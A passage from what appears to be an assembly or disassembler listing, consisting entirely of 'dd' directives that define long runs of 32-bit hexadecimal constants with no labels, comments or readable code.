		dd 53F792Fh, 0DBE049C8h, 3CFA6B33h, 0F34CE23Dh,	0FF44CB7Ch
		dd 0D5756732h, 0D2B327AEh, 990DA3E4h, 3118EF2Fh, 3F19E75h
		dd 6234D520h, 0F41B07D2h, 735D3042h, 25A7BE65h,	38415628h
		dd 0EE6C81C4h, 0D01A4B96h, 0AEB74818h, 0BB8AB4D9h, 0A3C3CB79h
		dd 2AB193FBh, 653A7F27h, 49E06916h, 0E1B7D7E4h,	0E11BE478h
		dd 21B5CB52h, 50353123h, 9161160Fh, 2C7AF953h, 395A32F1h
		dd 0F2B3F3E6h, 0EF6E7F49h, 0C863AABCh, 0EB950B2h, 0B93D6CC2h
		dd 3DFF11BDh, 0A566035Ah, 0C055FC21h, 0FED79866h, 739E0277h
		dd 0F0DB840Eh, 5C114C58h, 8A1C9B00h, 41A030C2h,	20BE33B1h
		dd 4EEE200Ah, 74680993h, 0E4A047BFh, 8FB4AE4Ch,	828CD4DCh
		dd 7E3B1933h, 578D84EFh, 0B219287h, 0B0EE9BD1h,	91D873C0h
		dd 0D6F04799h, 52FB2C3Ch, 70BED128h, 15BF08CAh,	4E7EC9FDh
		dd 0BE3043C5h, 9E803495h, 92D8660Bh, 6B140589h,	0C0789A9Fh
		dd 1250118h, 0A007D51Ah, 8CC7217Ah, 6F45C895h, 498D9236h
		dd 7E23EBFEh, 855CA36Ch, 111B6129h, 0B0B5D3B2h,	21CCF732h
		dd 0FA19E9CDh, 0B537AD77h, 0F193406Fh, 82F615DFh, 3438FABFh
		dd 0C510D4D1h, 0E193B407h, 210A6D53h, 7B9DBCFDh, 5092CBB6h
		dd 41C70892h, 0D11311D7h, 0DD52BB2Fh, 21897EFFh, 252C3927h
		dd 954C0E2Ah, 81BBDD3Dh, 0C56CD869h, 0A65D2865h, 0E363D7FAh
		dd 0D049402Ch, 8227D6A3h, 0BD150AF8h, 54982846h, 0E348F6A7h
		dd 0BF1F6DCh, 0DF774AF0h, 150F881Bh, 0C0F9A4B7h, 4A0514FFh
		dd 0A5C1A894h, 0E62FE310h, 1F23ED09h, 7D1A2CF3h, 0ECD12E1Bh
		dd 6EA09782h, 5CBFFA86h, 3A50935Dh, 2704B3B0h, 82832E74h
		dd 9AEE4AB8h, 4633E9CAh, 0CDD97B60h, 4CD5CAAEh,	9F697FD6h
		dd 73CAC4E7h, 7CD6EE2Ch, 4C0B0306h, 6A718C02h, 29E87E45h
		dd 0C6968D3h, 5A4A4EEh,	6EA04CB5h, 0CF8B2F42h, 6DC38855h
		dd 0EC38668Fh, 34AEEB80h, 0AE2DEF23h, 7ED12708h, 1EB75D7Ah
		dd 3590CDE4h, 2F88F7CFh, 0B09BDD9Ah, 6F5720ADh,	2CCE50Ch
		dd 0FFECE773h, 0C02D0058h, 0CB2AFEE5h, 5ED189D2h, 0AF3B7576h
		dd 0A105AAE7h, 2AC80B0Ch, 8B6BA8E0h, 43FC4A8Bh,	0A4F95552h
		dd 40D7FFFAh, 437A8F02h, 22EB4B16h, 0F41D0CFEh,	0A5D77E0Bh
		dd 0EC915F7Ch, 5037ACA1h, 4D31FCECh, 9AC7A2B7h,	34AD993h
		dd 931B89E6h, 0EE5C4298h, 0CE64C45Ah, 2F581F0Fh, 0B90209F6h
		dd 529DEBB0h, 1F43FCADh, 19C56B1Fh, 0D29B992Eh,	79359EB0h
		dd 0E58E1920h, 2254B271h, 8B23EF8Ah, 5ABCD9A0h,	5E974559h
		dd 0E879DF5Ch, 72FA25BEh, 5BAA6F28h, 0E78F6C7Eh, 0DBDBBB3h
		dd 0DA43EA3Bh, 0CE573158h, 0E4CB4D2h, 1C4BAEECh, 2BDC4E95h
		dd 0BE74F7C0h, 6477DE4Ah, 65EDE56Ah, 2F2F0AD0h,	0E6D1EFCh
		dd 2950082Dh, 6D420CEAh, 825D7316h, 2EB607E9h, 0ABFB0B1Eh
		dd 0B7A50569h, 98B9531Fh, 1B29B826h, 18E10DCBh,	6F87AD15h
		dd 5D873C3Ch, 0DF12E51Bh, 793D9A12h, 4E94CA9h, 0B431D946h
		dd 0CC15CDA8h, 50D5ECBFh, 7D647584h, 0A8940E7Ch, 4DA76E8Ah
		dd 5C6F787Fh, 0BF618CDDh, 0E766CD7h, 7A742CFBh,	96D4A27Ah
		dd 0B681F965h, 0EADAB31Dh, 0A2D4B668h, 0CCA85DE0h, 3F00ED5Ch
		dd 0AD9DAECCh, 0CD988C39h, 59C47F5Eh, 0C2F0B9C0h, 8CF8328Dh
		dd 0BDB66C6Ah, 3C9EF32Ch, 0CAFC74C4h, 0A5863F75h, 0F77CFE6h
		dd 87B401EAh, 0CBE156D5h, 0D53E1E8Ah, 8E1EACDEh, 6C1DCD22h
		dd 6FDBBEF4h, 0BCE41583h, 0EB02D15h, 0E473B4B8h, 2546AE51h
		dd 0DADC1E66h, 4367D5FAh, 0FF5DB571h, 0EAC8A293h, 0BB6B0F56h
		dd 8D91BADh, 868DB003h,	194EAE7Ah, 8D98021Ah, 0BD53ACE1h
		dd 0B5D7187Fh, 8A69F59Eh, 0A974EC91h, 18062AE5h, 30C279A3h
		dd 541FF16Dh, 7E5BF61Ch, 2FB16170h, 8C909970h, 738981EFh
		dd 8FE84912h, 0CC88DC2Dh, 288A4D63h, 0D0B0196Ch, 0ACA37FDFh
		dd 6CE3ADAAh, 84BFECD3h, 5F64024Fh, 0AF3B61B5h,	2DEA3646h
		dd 6F6812Fh, 8CC6AE05h,	0C20674EFh, 64D1C69Ah, 0F16F2908h
		dd 1089617Ch, 1B1F8E96h
		dd 0EE1579C7h, 0BAF7BFD9h, 4EE2BCC4h, 951A9816h, 69A45372h
		dd 0FB7C290Ch, 7A247721h, 0D650EB93h, 0BF723B20h, 20768CDh
		dd 8AF1A8DAh, 284FE6F9h, 488A8B6Bh, 0F2FD9B86h,	655A89Bh
		dd 0AE54B3Ah, 403D372Dh, 14708B6Dh, 0E996E381h,	0AE843926h
		dd 69A36F3Ah, 294496Eh,	491417BCh, 0FE8C909Ah, 3338009Ch
		dd 35F5D865h, 0CA8D4902h, 0EA319EBEh, 5F3ABA24h, 11AF52h
		dd 0E5AB3AACh, 0E7C80457h, 166C2F50h, 36B631FEh, 7AD81DF0h
		dd 0AB6C4346h, 474D73D9h, 0B651DBA8h, 59FF13DEh, 3BA67971h
		dd 5C9E604h, 3572AFCh, 8CD226CAh, 5D399918h, 882F52A8h
		dd 62EFB291h, 63920FF6h, 0A532BFBFh, 82652F1Fh,	0F7EADF0Ah
		dd 8B680E35h, 898DFB0Fh, 2B90E869h, 0F50EA52Ah,	26B502Ch
		dd 91B7272Fh, 0BFAD8D30h, 8064B196h, 0CA00F7A5h, 6F3AA276h
		dd 0FD61B169h, 70FA6A97h, 0CF84D307h, 1683CF77h, 8F684B0Ch
		dd 0E1626C8Bh, 0FE377249h, 0A097D476h, 0C099DB99h, 9C2B0293h
		dd 9E6F0BD6h, 9AC254BEh, 0DA76F80Dh, 69ED8C4Ah,	82CA76A8h
		dd 0C2D09A75h, 49D579A8h, 0CB27A855h, 2BB582A0h, 138F7B3h
		dd 4210B136h, 0DAF5FA86h, 0A9B7EBDh, 2A816A4Dh,	8052CF08h
		dd 2137795Eh, 6554252Dh, 0DDF314E4h, 0C4C81031h, 0B97D52DFh
		dd 816D7FA2h, 0FE679DD3h, 0A2D2BE4Ah, 0ECDA53C4h, 4BBE791Dh
		dd 0AB7891C7h, 4FBA3C06h, 57B8AE6Bh, 8A60FCB1h,	0F6D6C356h
		dd 0A1A6D3A4h, 6DAD6C6Fh, 4E4B1677h, 380AEDD3h,	5479741Dh
		dd 1675AADBh, 0D8C9BD91h, 0E813688Ah, 0F5941498h, 61E90D93h
		dd 2181078h, 5577E073h,	31FE24E3h, 0E9AF24D9h, 0A8230D5Bh
		dd 2BF9DEAAh, 1E78EEAh,	7CB4CEA3h, 2B819D4h, 0D0689FCh
		dd 42AAD836h, 0EA52B527h, 0AB16D829h, 54986831h, 49F4F125h
		dd 548CF166h, 8996180Ah, 94800672h, 0C8DFC82Fh,	90CAA579h
		dd 5847825h, 0AA0B7086h, 8FCF582Bh, 4E0FB7C0h, 5D1687Ch
		dd 0E0EF2C77h, 2D1D8200h, 3DC39A97h, 0F099B831h, 889978DEh
		dd 0B4F00819h, 8553A533h, 0FC19FD3Bh, 23035E8Ch, 0C844B5B4h
		dd 7B26DB66h, 0E91C6BE0h, 0DDD51D82h, 0E46DE999h, 0AC7C3971h
		dd 0D9362FB5h, 958725F5h, 0A88D6AD0h, 6B1068B9h, 191ADC59h
		dd 0DDFABD2Bh, 0F88E9849h, 497C2E06h, 695BDD7Dh, 7A73CB72h
		dd 0E90EACD1h, 6BFBD8E9h, 3B4EAB80h, 0B516FA07h, 48852F70h
		dd 98DFC657h, 0C97179E0h, 0B3A34CFEh, 0B7A867B3h, 7497A12Bh
		dd 58EE984Dh, 0C8D0E796h, 520AB408h, 0C4CEA8C4h, 4069CCECh
		dd 4DC231E3h, 0FA5E00C1h, 0DEF5636Ah, 0F9713059h, 0D7A3B01Fh
		dd 0CA3458F7h, 0C6878763h, 4FB7D676h, 0B2380393h, 0B7681683h
		dd 7B4A6DDh, 25DBFE91h,	11B9A336h, 9235EA15h, 5E2FF4B0h
		dd 0B685DD50h, 0C692228Ch, 185EC8A6h, 0DAF41D91h, 1E5343D8h
		dd 0FC3BC606h, 7E73C48h, 0A7E8C741h, 7068BCFFh,	93E72AD5h
		dd 0C3252A72h, 0C49B59C5h, 0DB55272Ch, 0E60AFA14h, 0A152B32Ah
		dd 0E38E87F2h, 570D56B0h, 4236E820h, 67BC0FF0h,	0D6A37556h
		dd 7C0E0214h, 16AF9A85h, 1705DF59h, 9E79051Eh, 82069C6Ch
		dd 0A5C6A616h, 36180B9Ah, 93C67174h, 70E91EFBh,	85788DEEh
		dd 0AEE443AEh, 8E4F636Dh, 0C63F38B6h, 0D60113D7h, 964910DBh
		dd 296F119h, 55838A36h,	70C9B25h, 0E79367Bh, 0F606D473h
		dd 5E8C090Bh, 579FB49Eh, 0C92F12C0h, 0E7277254h, 335F28Bh
		dd 3AC27FCEh, 64539402h, 55CEA106h, 0F119824Dh,	0A3A45597h
		dd 77ED1453h, 0B49074E5h, 9470CC59h, 9143169Dh,	53D56488h
		dd 16FAE72Fh, 0C442FEE8h, 0C46B245Bh, 0B21C3A91h, 0EA64FC5Ah
		dd 64797016h, 7D19B95h,	5BF36CBh, 2169F4D8h, 0D068323h
		dd 0F4325D13h, 0A57D978Dh, 91C2E274h, 3445D4F8h, 0D46FE59Ah
		dd 0ADEF8203h, 8DAF1731h, 0B6A937A2h, 0A9116A23h, 0E032F9D0h
		dd 0F2171D2Ah, 34E1503Bh, 0F5F3B1ECh, 258FE578h, 477A805Fh
		dd 4549B0C4h, 564B1DD3h, 354D3008h, 0A91CC11Fh,	0F25E71B0h
		dd 208D91CFh, 31571F38h, 21F42A8Dh, 0D1F2FD58h,	2C440552h
		dd 0A5C48D72h, 855D966Ah, 558F2516h, 55336BAEh,	0BA31E515h
		dd 0D44A2D67h, 0D53B916Ah, 0AD1B9E66h, 0C94DCACBh, 91C8ABB9h
		dd 71CE4E1Ah, 0D5FB10Ah, 0BA5381A5h, 0ECACD9A9h, 0C11D150h
		dd 261F5DE9h, 0C509866Ch, 8D15A27Fh, 4160A905h,	0DA139C4Dh
		dd 100A05E3h, 0A704DC41h, 0D1660588h, 218196B6h, 4EEF770h
		dd 0A44588BEh, 7D50C4D1h, 519A19CAh, 154E4BD8h,	68ED5FCEh
		dd 8C4EA585h, 771911C3h, 341665E3h, 0F17004Ch, 0FEC579AEh
		dd 2CD01D4Eh, 40D63D67h, 3D83BF1Bh, 964F0AD7h, 94B157D0h
		dd 314D77D8h, 0ECA5844Ah, 8F8D2537h, 0AE1D9833h, 222543B8h
		dd 0E6DADB30h, 0AAAF4459h, 96169F46h, 87C4CCB3h, 97CCEBB6h
		dd 0C3AFF48h, 0DB5AC597h, 0C743B8B5h, 642B5B4Eh, 0D26C80D3h
		dd 0B4489973h, 4B49EBDFh, 0A749091Eh, 0EBD17F74h, 1873A77Ah
		dd 0AC56D460h, 3D68ABh,	0D0AF9380h, 0C131CD1Eh,	0A39DCDF8h
		dd 0A76C5280h, 7D097B6Bh, 27500282h, 4F963A57h,	6B36B3ADh
		dd 0E3B993A4h, 484C274Dh, 57058661h, 311D4F08h,	62CA665Fh
		dd 7054BCC4h, 20042D40h, 3B4D79FFh, 0E3CC0EC9h,	8A181BC6h
		dd 0BC91721Bh, 0FBC6D8DAh, 0E2F89BD4h, 33BD671Ah, 3EB4E118h
		dd 0E97BA723h, 7282C6Dh, 0B72367A6h, 3DAC4613h,	0E2DC0184h
		dd 0FDAF8CEEh, 0F3486C30h, 70BA43CBh, 0A2C05080h, 82395A38h
		dd 4C479237h, 3F6CB8D8h, 67152335h, 275504C0h, 23EB7AB7h
		dd 3346A06Ch, 75F0D369h, 0C2843EFCh, 1C5273F9h,	4F3EF22Bh
		dd 9491ACBBh, 74978209h, 50837261h, 14B21733h, 6E20A769h
		dd 9C9BF57h, 5D581AABh,	0C11CB911h, 9439690Ch, 0FAFA7A7Bh
		dd 0C4C310B1h, 85484538h, 0A3BBA097h, 602AF045h, 5B201159h
		dd 31B440A8h, 0C6688D3Fh, 51D99A01h, 0DC31552Eh, 0AB06E3F5h
		dd 0E173A086h, 817A8D9Ch, 2757EDBEh, 6D1DFB70h,	1AEA7695h
		dd 0E6F102ADh, 0CAF1EE2Eh, 329CA229h, 23F1B6Eh,	7D6A8285h
		dd 2A459897h, 0C37BB847h, 0E370DA85h, 0BA3334BEh, 65541A5Eh
		dd 41E3312Ah, 10A215A1h, 0F4DA3E81h, 0A2135B9Bh, 0C38F3D96h
		dd 0E0C1D1B5h, 0BC03B587h, 0E251378Fh, 0C2F5218Eh, 269F69B4h
		dd 2B658052h, 683C98C6h, 0B114FD90h, 5DA7981Eh,	0B5A1B87Eh
		dd 0E867E107h, 310C15B8h, 10762F5Eh, 85D7FF8h, 0B579EF2h
		dd 5145B13Ch, 612BB92Ah, 0ED21E148h, 0D11B1D34h, 0CD653108h
		dd 0E11F2512h, 1055B78h, 5903817Eh, 5181B10Ch, 6C80ADFAh
		dd 0B074FC70h, 0D968616Dh, 0BE107492h, 285FA085h, 7355E15Ch
		dd 7C73918Bh, 9F9DBBD0h, 0E0849815h, 0E9C073D4h, 0C9B897B7h
		dd 43B598BCh, 9FAFC3B8h, 0F5A474C4h, 0DDAEED17h, 71E1C419h
		dd 96AF756Eh, 0A4E28C19h, 51CE6D63h, 0C0D1FB88h, 101B08F5h
		dd 10B2C0ADh, 0D53F90DFh, 0EB9EE509h, 68562136h, 7005F039h
		dd 0B84B0194h, 0BA6D3005h, 0BD2F500Fh, 838F7A4Ch, 286CC1E5h
		dd 78F33387h, 91091FCAh, 98F28002h, 0B42201A3h,	424B37A4h
		dd 20153F21h, 18DA7C1Eh, 0B20BB806h, 2E0A0210h,	0F0453FDh
		dd 828E0139h, 8AAB7724h, 0B412BE2h, 0F024ECE2h,	0CCF9BB28h
		dd 0F4F35BCCh, 8B01A02Bh, 701C34CAh, 911ADE23h,	0B0571E0Ah
		dd 0C0C9ACC8h, 0E0AF7A5Ah, 94B97C24h, 2C2790A6h, 507920B0h
		dd 0ECA6DBAAh, 8C2DF0B4h, 0A08B989Eh, 0C099B88Dh, 648F4016h
		dd 13437BC8h, 30483A96h
		dd 176D7B98h, 944BDFB1h, 0FC748665h, 8F668CA8h,	9D6C37EEh
		dd 0F64754F8h, 0AA0F75DCh, 3EE5E7Eh, 0EF76A2D1h, 5EAC5BB8h
		dd 0D2C0F32Dh, 1E3E8E22h, 4C4A0D69h, 0D467E45Eh, 80A86A68h
		dd 9728EE2Dh, 0EF996F2Bh, 8FBA8C6Fh, 3351D894h,	0FBC01342h
		dd 8C8F1E31h, 694F05E6h, 33FDEF2Ch, 45C405C4h, 0FFF61FBAh
		dd 676E336Ah, 4630C60Eh, 0BB5B12EEh, 22D1745h, 72E7E7E2h
		dd 0C6F4B8FCh, 0AF89E9F7h, 958D1256h, 0E7877290h, 0C27BDF09h
		dd 0AF16D59Eh, 0FEFD3D6h, 12357E9Bh, 0F225EF1Ch, 124B5AA6h
		dd 0F804FA0h, 59B7C27Ch, 6B54DF89h, 93593E73h, 8E781648h
		dd 0AB5F4324h, 8059631Eh, 0D0EDBE6Bh, 0A0882EE0h, 63E7FE67h
		dd 4E6C5264h, 4B7B3384h, 5A75139Eh, 0E3CD7E7Fh,	0CE046E0Ch
		dd 2E0E9623h, 41D9318h,	6E2AFF17h, 4E1C047Ch, 0E42B3376h
		dd 71851E25h, 0A3257E2Ch, 0CE74DA3Ch, 0C833F3CCh, 141F9E7Dh
		dd 2319FE87h, 4E8C10C4h, 0BEDB73FEh, 8ED553C2h,	0A39F7E9Fh
		dd 0CEA43EECh, 2EAEA4B6h, 0BCFDD3A4h, 145F7E80h, 346B4274h
		dd 2EF1B00Eh, 30056476h, 0EE327F87h, 0CE340279h, 549313F8h
		dd 0E7A19E3Dh, 6EAA04DBh, 7AA173A4h, 0CE003F33h, 6B3564CCh
		dd 0F1CF04BAh, 0B763DD36h, 0AD3981C6h, 8D27ADA5h, 0AE53C898h
		dd 0A5D5BDBCh, 0CCD0730Eh, 4EB9AED0h, 0A2A3BFA6h, 7D8883A9h
		dd 0DEC316C6h, 0CED2413Fh, 0B3D605DFh, 98DD92D0h, 5AAB7AAEh
		dd 7E5AD9CDh, 38EDBFD7h, 82C999F2h, 0F8F062E4h,	0C08D5EE3h
		dd 0A5C24DE5h, 0C347A8EDh, 0C3BB317Fh, 59346CBEh, 9CA5BF16h
		dd 7C962F6Ch, 0F902622Ah, 0D23F442Ch, 0A4252C28h, 0FCAFADFDh
		dd 2EB44988h, 4520E37Ah, 8B3DCD36h, 0D5A2F9Dh, 62CFCCCCh
		dd 42446BF7h, 0DD533E58h, 0BE212124h, 7C7EFFE1h, 5241C86Ch
		dd 3563327Dh, 4E798169h, 0F3BC5E34h, 0D48E5D61h, 4A276595h
		dd 90A26E0Bh, 1C9BE98Bh, 0F15ED210h, 3896BF91h,	0BD0481DCh
		dd 0FFBA5829h, 0C9A26FBBh, 0CEE96A4h, 0A803A3BAh, 786BA3D6h
		dd 6BB553B8h, 30CA88B2h, 195698C9h, 0F9CF65E0h,	40902CE1h
		dd 0E1B8D47h, 95E318E0h, 687CF9ECh, 0FC2CDFEDh,	2E28CE67h
		dd 190D8503h, 0EA1A7E26h, 7A07FC41h, 0CEA2AAAh,	92B1F137h
		dd 0AD9B2539h, 8D967162h, 0A59D0D8Fh, 1D9BFC4Eh, 5CEA78B3h
		dd 0D9EF4B25h, 4B673C57h, 55591855h, 0C906C6EEh, 0F4617855h
		dd 98D9180Fh, 0D5C62CB5h, 9CC280C5h, 0FB0CD398h, 0BD652366h
		dd 8E362A68h, 0DBC1EE9Bh, 0EB8AF9FAh, 5B1429D5h, 3A0DC66Dh
		dd 0F88C678Ah, 28CF2B1Bh, 0A1BE180Fh, 0CF386BB1h, 0C8475FE3h
		dd 57186CFCh, 354A82A7h, 0A6A23B56h, 0F8DC4777h, 0EFC1C4D1h
		dd 3B9026C3h, 4F46914h,	6BFAE6F0h, 4CF0C2CEh, 7CE98429h
		dd 36883D6Eh, 48EFE11Bh, 68E87882h, 6016A9E8h, 161F2E95h
		dd 1B8F280Ah, 6B801002h, 3520A20Dh, 7B2B8E28h, 73303E56h
		dd 0CBAD871Ah, 4853988Ah, 93A3F991h, 80C56E85h,	76344FE2h
		dd 325BA747h, 4950A9D7h, 0FF4A5CF7h, 0D3E26845h, 4B17397Bh
		dd 60782D14h, 0D9A5EF60h, 0EE0AAE08h, 24000BAAh, 0A94391Fh
		dd 7F34B9Fh, 0B329D8CBh, 4E34C63Bh, 28C498DFh, 0A1DB5952h
		dd 5383A867h, 16BABEA0h, 7E3CEA29h, 5687CB1Bh, 0C3E94F10h
		dd 0A38B0CAh, 9B53E3AEh, 68EEFEDDh, 0DDCAD843h,	0BAA4EF42h
		dd 8DF88FF0h, 3BDE6FE5h, 0BA8D5240h, 0EAAA2B5h,	3A28983Dh
		dd 75A9DBB0h, 9BABDA15h, 3B21B8A2h, 0CE989601h,	7B57F666h
		dd 745DEE94h, 0B3361D58h, 95171E8Bh, 0CA8BD93Ch, 75BACF24h
		dd 395AA020h, 0A5D0EA48h, 0FF434537h, 25C6D85Eh, 0BF73F528h
		dd 94480756h, 467F6D1Dh, 0CBBF48D1h, 6D6BA55Fh,	0BBD4CEECh
		dd 0EF0332E0h, 642FA16Ch, 8BB2020Eh, 0B5B4270Bh, 7DC5BBDDh
		dd 39897684h, 6CDFE6E2h, 8EA9BC2Dh, 30A16CA6h, 0CECF8510h
		dd 66B734B9h, 0B8A71D14h, 1BD8A8BEh, 4EDAE54Fh,	59BACBD9h
		dd 155288EFh, 0D17200CAh, 0FCF646CFh, 8B67F478h, 1803882Fh
		dd 181E6969h, 55EC12C3h, 590D2B13h, 119970FAh, 0CE739CCCh
		dd 0CE02D94Dh, 8C63DD19h, 0AB243A93h, 194C8C04h, 53AACD19h
		dd 0D3BBA27h, 802C8223h, 1492C228h, 0CA584E90h,	0D9ECBC3Ah
		dd 8C31FC78h, 4F2D6A5Eh, 4C492249h, 505D19ADh, 0A7DD2F1Eh
		dd 99AC0914h, 0DC5F284Bh, 92C5E76Dh, 0F9780C8Bh, 0A4EA9378h
		dd 7DF75718h, 2A1E04B0h, 79E3F9F7h, 89D618C2h, 57CC338Ah
		dd 0B5A2269Fh, 0BC906C2Bh, 488A7F98h, 6FC0F281h, 0A6E0FA91h
		dd 2ABBEEE6h, 0F6E664C2h, 489094C7h, 3CF5FAA0h,	0B9252C69h
		dd 0A8A6205Ch, 2D05C990h, 0E43FF52Ah, 0C64958B1h, 8773B8BBh
		dd 0D5B02880h, 0A1843BB8h, 0A4713507h, 7B19C96Ch, 0E8DDA838h
		dd 459938DFh, 65BFF58Ah, 0B55515A0h, 9E4D0546h,	9E6A7E67h
		dd 9E6C3E69h, 9E16FE13h, 38183E15h, 7599E594h, 55FFC5EAh
		dd 0B5D525C0h, 850B1526h, 0EE2A6E1Ah, 0AE2C2E29h, 6E36EE33h
		dd 0AE382E35h, 6A59C83Fh, 4A3FDA4Ah, 0AA153A20h, 0FAEB1A06h
		dd 0F1E70AFCh, 0B1AC51A9h, 7196D193h, 0B198D195h, 5782519Fh
		dd 3A7FAA6Ah, 0DA154A00h, 0FA4B6A26h, 8AA11ABCh, 0C1EC41B4h
		dd 41F6C1F3h, 41F8C1F5h, 0C1C241FFh, 2A3FE7C1h,	0CA555A20h
		dd 0EA6B7A46h, 0BA811A7Ch, 0D1810A92h, 5116B113h, 5118F115h
		dd 0D102B11Fh, 77047101h, 0FAD56AC0h, 0DA8B4AA6h, 0BAA12ABCh
		dd 8A471A52h, 2136A14Eh, 6138E135h, 2142A13Fh, 0E1446141h
		dd 0EA95074Bh, 0CAEB5A86h, 0AAC13AFCh, 7A271AD2h, 311B0A08h
		dd 71989195h, 3182919Fh, 0F1849181h, 978E918Bh,	3B4BAAA6h
		dd 5B21CB3Ch, 7B07EB12h, 8BFD1BE8h, 7880E8h, 42807Fh, 448041h
		dd 4E804Bh, 2B6B264Dh, 4B01DB7Ch, 6B27FB12h, 0BBBD1B48h
		dd 10B50BAEh, 1002F01Fh, 1004B001h, 100E700Bh, 0B630B00Dh
		dd 7B21EB3Ch, 5B47CB52h, 0BB7D2B68h, 8B931B8Eh,	60C2E082h
		dd 20C4A0C1h, 0E0CE60CBh, 20D0A0CDh, 6BC146D7h,	4BA7DBD2h
		dd 0ABBD3B88h, 0FB531BAEh, 704F0B44h, 3084D081h, 0F08E508Bh
		dd 30F0508Dh, 0D6FAD0F7h, 3B87AB92h, 0DBFD4BE8h, 0FBD36BCEh
		dd 8B091B24h, 40C4C01Ch, 0C0CE40CBh, 0C0D040CDh, 40DAC0D7h
		dd 2BA766D9h, 0C83D5848h, 0E813782Eh, 0B8E91804h, 53E908FAh
		dd 0D30E330Bh, 0D330730Dh, 533A3337h, 0F53CF339h, 0F87D6868h
		dd 0D813480Eh, 0B8492824h, 88AF18BAh, 0A34E23B6h, 0E350634Dh
		dd 0A35A2357h, 635CE359h, 0E83D6563h, 0C853582Eh, 0A36F3844h
		dd 0DE898698h, 65722D96h, 0F18DD4B0h, 7F27B58Bh, 42D9585h
		dd 0E59AE19Eh, 0B5955418h, 0C1AF3498h, 93E115ADh, 3FEF1556h
		dd 0AC8D2549h, 0D55E814Ah, 39417C8Ch, 0C53B9C94h, 2CE1A521h
		dd 55361D32h, 7530AFF0h, 71231CC6h, 45EC2411h, 80175CF2h
		dd 5117CF8h, 0CFF8517h,	351C5D08h, 54E6397Fh, 64F903FCh
		dd 0C1F361F2h, 0B8ED41F8h, 0B1F7448Fh, 0F48470E4h, 14BE9C2Bh
		dd 34D5C1C4h, 1DFC4B6h,	50C981ECh, 0F1EB04A3h, 0B4D808C0h
		dd 0D4D274EFh, 0CCB10180h, 699784CBh, 34200EA9h, 109FA1E2h
		dd 11D1E4F9h, 0F1394896h, 0B4E87490h, 8C8721DEh, 5EDD64E1h
		dd 711B841Bh, 3410C078h, 386FA11Ah, 46981C6h, 0F1170403h
		dd 0B4385C60h, 0D432EE26h, 705101D4h, 71C3842Bh, 0B9112848h
		dd 0C43F4143h, 11ADE459h, 94569C36h, 0B448B865h, 7027218Ah
		dd 61896441h, 149ED61Fh, 0B1140D20h, 548A8C12h,	2109615Ch
		dd 0F403815Eh
		dd 36952485h, 0D37233FAh, 0F3741B61h, 0A3EBE642h, 3360A201h
		dd 53BA9156h, 0F6C8E264h, 93B6BFD6h, 16CD4610h,	1BC7260Eh
		dd 0F34472C9h, 0A3BB0616h, 0F3B52612h, 0D67BC337h, 73CC2FACh
		dd 93C6A976h, 579DA67Ch, 567B431Fh, 8AA59794h, 0EF8BE69Fh
		dd 5681A30Dh, 43DEC3ECh, 63D8F729h, 0B763A26Ah,	124133D1h
		dd 7253167Ah, 0E3C05F74h, 5F4B221Ah, 6700B3F9h,	0F213D3F3h
		dd 63E8875Ch, 0C653A22Ah, 232D82C0h, 7297539Bh,	0E390D724h
		dd 24A5B87h, 92E9B389h,	537A1F32h, 737CC9FCh, 7B1366F2h
		dd 0FD6B22FDh, 7607260Ah, 70106F4h, 32FE830Bh, 0CAD5A76Ch
		dd 57FECBA6h, 52EC46CCh, 5EC30756h, 56E802E5h, 0D72B62DFh
		dd 8CB672F4h, 87EBBBCEh, 72E59BE4h, 6BEBE2FBh, 1E480E9Ch
		dd 0E6933B1Ch, 8B490289h, 0F29EBA8Ah, 8CC9CBB0h, 36BBE39Eh
		dd 53B982F9h, 3325F6B2h, 52E8A2ACh, 0C6A363CAh,	182102E1h
		dd 0B313621Bh, 0D2101254h, 964BE316h, 0A245C3C2h, 33C3E203h
		dd 52384A7Ch, 0B232A8E2h, 7E6D4390h, 0B39F622Bh, 932B8664h
		dd 325A6E1Eh, 3215C3C0h, 0F82FAC5Bh, 0CF31C291h, 0B29E2606h
		dd 8E3D9F10h, 9A37FFB0h, 4F4942A9h, 32B6E62Eh, 12B80878h
		dd 0DDDF7F82h, 0CC61C141h, 2C59A1D6h, 91508DD0h, 11C7FC5Eh
		dd 0F294159h, 1CE2A163h, 8C6ACCBh, 5CC63EDEh, 61F0F5CFh
		dd 0C73C4993h, 0B1BD189Fh, 2F8D1D9Fh, 0F284935Fh, 19A4B0BCh
		dd 20AC5EAAh, 5896EFB7h, 6F62C291h, 0BA63EDB1h,	85AF0EB5h
		dd 0E1BE7175h, 0F18155A7h, 3C48FE53h, 6723F44Bh, 729E2D75h
		dd 4154D747h, 0A223F18Ah, 0F16F6637h, 0C111BC6Bh, 0EF522766h
		dd 0EE4B8158h, 354CAB69h, 440CCB45h, 582DE2C3h,	9E396750h
		dd 0AC2EDC38h, 0C341481Bh, 0E356635h, 1E30BB1Dh, 241CB51Dh
		dd 6B3F44E8h, 5433D52Fh, 6E171515h, 80EF2903h, 0DFE254F9h
		dd 0CAF9690Bh, 13F988C1h, 33ED4FFCh, 60FF86F0h,	0F3D1EFCEh
		dd 0A3C815D7h, 8D581D55h, 202B756Fh, 0F3E99FF5h, 3B3A3ACh
		dd 374A85B3h, 52ACCEB7h, 0AFBCE79Ah, 84AA11B3h,	80AE9EA2h
		dd 0D395A795h, 0ECA1C69Dh, 22BEBFBCh, 30AE83F7h, 675AEF82h
		dd 42961297h, 7C413E55h, 8E5B1381h, 0F595ABB4h,	1C42424Dh
		dd 0EB75B6AFh, 716E8871h, 7F7FE370h, 30721E69h,	0B7682964h
		dd 5F3D086Fh, 0FB10683Ah, 0C40B220Fh, 21C73E3Dh, 3A31B328h
		dd 412E2B29h, 3808F1F3h, 0D826CE1Dh, 0BBF02915h, 0FF4F061Fh
		dd 0F0014F2Ch, 31D83789h, 1ABDDDC3h, 10DDF1D7h,	6CDBE6E7h
		dd 0DFD1F0EDh, 0C9222CFBh, 0EFC210DFh, 10D255DBh, 1DC26BF8h
		dd 2CD79ACBh, 4FBFBD7Dh, 84BCB9A9h, 9FC4B744h, 0ED391BB2h
		dd 5BB83CA7h, 0FFA6E4E6h, 1DD33D58h, 2D75994h, 0A4BF9829h
		dd 4DA0F77Eh, 3CA40D6Dh, 0EFF02DA8h, 0E8520F64h, 3C711F21h
		dd 4C29436Eh, 1F47DF93h, 986DBF53h, 7775F668h, 0DD54DC05h
		dd 93A13577h, 0E577297Bh, 0C6135967h, 39E64D0Dh, 1C146ED4h
		dd 681DF115h, 3D16A11Ch, 0AD0CDB26h, 97F03F03h,	0DA140BE5h
		dd 0EA054C1Dh, 3E3B430Dh, 392CAEF8h, 7F0BB701h,	4B668B90h
